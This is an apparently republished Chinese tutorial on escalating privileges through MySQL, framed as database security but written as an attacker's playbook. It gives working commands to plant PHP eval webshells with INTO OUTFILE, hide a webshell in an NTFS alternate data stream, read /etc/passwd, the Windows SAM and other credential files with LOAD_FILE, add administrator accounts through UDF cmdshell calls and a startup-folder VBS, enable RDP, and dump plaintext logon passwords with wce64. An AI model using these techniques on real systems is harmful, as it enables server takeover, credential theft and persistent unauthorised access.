下载安卓APP箭头
箭头给我发消息

客服QQ:3315713922

数据库安全:关系型数据库管理系统MySQL提权基础

作者:课课家教育     来源: http://www.kokojia.com点击数:850发布时间: 2019-04-22 11:15:56

标签: 数据库系统工程师数据库设计ACCESS数据库开发视频

      其实,很多人都知道MySQL是比较好用的数据库管理系统,针对于MySQL 为关系型数据库(Relational Database Management System), 这种所谓的"关系型"可以理解为"表格"的概念, 一个关系型数据库由一个或数个表格组成

     MySQL是一个中、小型关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle公司。MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了 速度并提高了灵活性。MySQL的SQL语言是用于访问数据库的最常用标准化语言。MySQL软件采用了GPL(GNU通用公共许可证),它分为免费版和商业版,由于其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择MySQL作为网站数据库。由于其免费版的性能卓越,搭配php和Apache可组成良好的开发环境,MySQL 分为商业版本(MySQL Enterprise Edition和 MySQL Cluster CGE )和GPL版本(MySQL Community Edition)。

一、Mysql提权必备条件

1.服务器安装Mysql数据库

利用Mysql提权的前提就是服务器安装了mysql数据库,且mysql的服务没有降权,Mysql数据库默认安装是以系统权限继承的,并且需要获取Mysql root账号密码。

2.判断Mysql服务运行权限

对于Mysql数据库服务运行权限有很多方法,我这里主要介绍三种,一种是通过查看系统账号,也即使用“net user”命令查看系统当前账号,如果出现了mysql这类用户,以为着系统可能进行了降权,一般情况都不会降权。第二种方法就是看mysqld运行的Priority值,如下图所示。通过aspx的网页木马来查看Process信息,在图中我们可以看到系统权限的Priority值为“8 ”,如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联,一般情况下是不允许root等账号外联,外部直接连接意味着账号可能被截取和嗅探,通过本地客户端直接连接对方服务器,直接查看和操作Mysql数据库,可以通过扫描3306端口来判断是否提供对外连接。

 数据库安全:关系型数据库管理系统MySQL提权基础_数据库系统工程师_数据库设计_ACCESS数据库开发视频_课课家

查看Priority值来判断Mysqld服务运行权限

二、Mysql密码获取与破解

1.获取网站数据库账号和密码

对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:

  1. $db['default']['hostname'] = 'localhost'
  2. $db['default']['username'] = 'root'
  3. $db['default']['password'] = '123456'
  4. $db['default']['database'] = 'crm'

dedecms数据库安装的信息就是写在data/common.inc.php,Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。对于java会在/WEB-INF/config/config.properties中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。

对于Linux操作系统,除了上述方法获取root账号密码外,还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.6以下版本,由于设计Mysql程序时对于安全性的重视度非常低,用户密码是明文传输。MySQL对于binary log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令,那么会在binary log中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取,如下图所示。

 

查看binlog日志

2.获取Mysql数据库user表

MYSQL所有设置默认都保存在“C:\\Program Files\\MYSQL\\MYSQL Server 5.0\\data\\MYSQL”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解。对于Mysql数据库密码如果通过cmd5.com等网站不能查询到密码则需要自己手动破解,有关Mysql数据库密码手动破解,请查阅下一章。

3.Mysql密码查询

可以通过以下查询语句直接查询mysql数据库中的所有用户和密码。

  1. select user,password from mysql.user
  2. select user,password from mysql.user where user ='root'

4.MySQL密码加密算法

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如下图所示。

  1. select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));  

 

mysql数据库加密算法

三、Mysql获取webshell

Mysql root账号网站获取webshell具备的条件:

1.知道站点物理路径,网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。

2.有足够大的权限,最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysql.user进行测试。

3.magic_quotes_gpc()=OFF。对于PHP magic_quotes_gpc=on的情况,可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off 的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

4.直接导出webshell,执行下面语句

  1. Select '<?php eval($_POST[cmd])?>' into outfile '物理路径'
  2. and 1=2 union all select 一句话HEX值 into outfile '路径'

也可以通过创建表来直接完成,其中d:/www/exehack.php为webshell的名称和路径:

  1. CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); 
  2. INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>'); 
  3. SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php'
  4. DROP TABLE IF EXISTS `darkmoon`; 

5.有些情况下掌握了MSSQL数据库口令,但服务器环境是Windows2008,web环境是PHP,则可以通过SQLTOOLs工具,直接连接命令,通过以下命令写入shell:

  1. echo ^<?php @eval(request[xxx])? ^^>^ >c:\\web\\www\\shell.php 

四、Mysql渗透有用的一些技巧总结

1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中,MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息,而load_file()作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个php的SQL注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1)一些常见的系统配置文件

  1. c:/boot.ini //查看系统版本 
  2. c:/windows/php.ini //php配置信息 
  3. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码 
  4. c:/winnt/php.ini 
  5. c:/winnt/my.ini 
  6. c:\\mysql\\data\\mysql\\user.MYD //存储了mysql.user表中的数据库连接密码 
  7. c:\\Program Files\\RhinoSoft.com\\Serv-U\\ServUDaemon.ini //存储了虚拟主机网站路径和密码 
  8. c:\\Program Files\\Serv-U\\ServUDaemon.ini 
  9. c:\\windows\\system32\\inetsrv\\MetaBase.xml 查看IIS的虚拟主机配置 
  10. c:\\windows\\repair\\sam //存储了WINDOWS系统初次安装的密码 
  11. c:\\Program Files\\ Serv-U\\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此 
  12. c:\\Program Files\\RhinoSoft.com\\ServUDaemon.exe 
  13. C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere\\*.cif文件 
  14. //存储了pcAnywhere的登陆密码 
  15. c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf 或C:\\apache\\conf\\httpd.conf //查看WINDOWS系统apache文件 
  16. c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息. 
  17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机 
  18. d:\\APACHE\\Apache2\\conf\\httpd.conf 
  19. C:\\Program Files\\mysql\\my.ini 
  20. C:\\mysql\\data\\mysql\\user.MYD 存在MYSQL系统中的用户密码 

LUNIX/UNIX 下:

  1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  
  2. /usr/local/apache2/conf/httpd.conf  
  3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  
  4. /usr/local/app/php5/lib/php.ini //PHP相关设置 
  5. /etc/sysconfig/iptables //从中得到防火墙规则策略  
  6. /etc/httpd/conf/httpd.conf // apache配置文件  
  7. /etc/rsyncd.conf //同步程序配置文件  
  8. /etc/my.cnf //mysql的配置文件  
  9. /etc/redhat-release //系统版本  
  10. /etc/issue  
  11. /etc/issue.net  
  12. /usr/local/app/php5/lib/php.ini //PHP相关设置 
  13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  
  14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件  
  15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
  16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  
  18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件  
  19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
  20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  
  22. /etc/sysconfig/iptables 查看防火墙策略 
  23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录 
  24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20) 
  25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) 

(2)直接读取配置文件

  1. SELECT LOAD_FILE('/etc/passwd' ) 
  2. SELECT LOAD_FILE('/etc/issues' ) 
  3. SELECT LOAD_FILE('/etc/etc/rc.local' ) 
  4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' ) 
  5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' ) 

(3)Linux下通过load_file函数读出来的数据库有可能是hex编码,要正常查看需要使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。

2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell

NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等等。

(1) Mysql创建目录

当MySQL版本较高时,自定义函数的dll需要放在mysql目录下的lib\\plugin\\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:

  1. select 'xxx' into outfile 'D:\\\\mysql\\\\lib::$INDEX_ALLOCATION'

会在mysql目录下生成一个lib目录,这样你就可以将你的udf放在这个插件目录下了。

(2)隐藏webshell

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

  1. echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg 

这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

3.有用的一些技巧

(1)3389端口命令行下获取总结

  1. netstat -an |find "3389" 查看3389端口是否开放 
  2. tasklist /svc | find "TermService" 获取对应TermService的PID号 
  3. netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号 

(2)Windows 2008Server命令行开启3389

  1. wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1 
  2. wmic /namespace:\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 
  3. reg add "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v 

(3)wce64 -w 命令直接获取系统明文登录密码

(4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

(5)Linux终端提示符下查看mysql有关信息,ps -ef|grep mysql

(6)Linux下启动mysql服务: service mysqld start

(7)Linux下查看mysqld是否启动:ps -el | grep mysqld

(8)查看mysql在哪里:whereis mysql

(9)查询运行文件所在路径 which mysql

(10)udf.dll提权常见函数

  • cmdshell 执行cmd;
  • downloader 下载者,到网上下载指定文件并保存到指定目录;
  • open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
  • backshell 反弹Shell;
  • ProcessView 枚举系统进程;
  • KillProcess 终止指定进程;
  • regread 读注册表;
  • regwrite 写注册表;
  • shut 关机,注销,重启;
  • about 说明与帮助函数;

具体用户示例:

  1. select cmdshell('net user iis_user 123!@#abcABC /add'); 
  2. select cmdshell('net localgroup administrators iis_user /add'); 
  3. select cmdshell('regedit /s d:web3389.reg'); 
  4. select cmdshell('netstat -an'); 

4.一些常见的Mysql命令

(1)连接到mysql 服务器

  1. mysql -h 192.168.0.1 -u root -pantian365.com antian365 

(2)查看所有数据库

  1. show databases; 

(3)使用某个数据库

  1. use testdatabase; 

(4)查看数据库中的所有表

  1. show tables; 

(5)在test数据库下创建一个新的表

  1. create table a (cmd text); 

(6)在表中插入内容添加用户命令

  1. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  2. nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );  
  3. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " ); 

(7)查询a表中所有的数据

  1. select * from a 

(8)导出数据到系统某个目录下

  1. select * from a into outfile "c:\\\\docume~1\\\\alluse~1\\\\「开始」菜单\\\\程序\\\\启动\\\\a.vbs"

(9)查询数据库数据路径

  1. select @@datadir; 

(10)查看所有dir路径

  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir" 

(11)查看插件路径

  1. show variables like '%plugins%' ; 

(12)查询MYSQL安装路径

  1. select @@basedir 

(13)常用内置函数

  1. select system_user() 查看系统用户 
  2. select current_user() 查询当前用户 
  3. select user(); 查询用户 
  4. SELECT version() 查询数据库版本 
  5. SELECT database() 查询当前连接的数据库 
  6. select @@version_compile_os 查询当前操作系统 
  7. select now(); 显示当前时间 

(14)获取表结构

  1. desc 表名 或者show columns from 表名 

(15)删除表

  1. drop table <表名> 

小编结语:其实这篇教程比较实用,因为大多数人都会用到MYSQl数据库,而且这个是非常有用的,希望对大家有所帮助,感谢大家的支持。

赞(23)
踩(0)
分享到:
华为认证网络工程师 HCIE直播课视频教程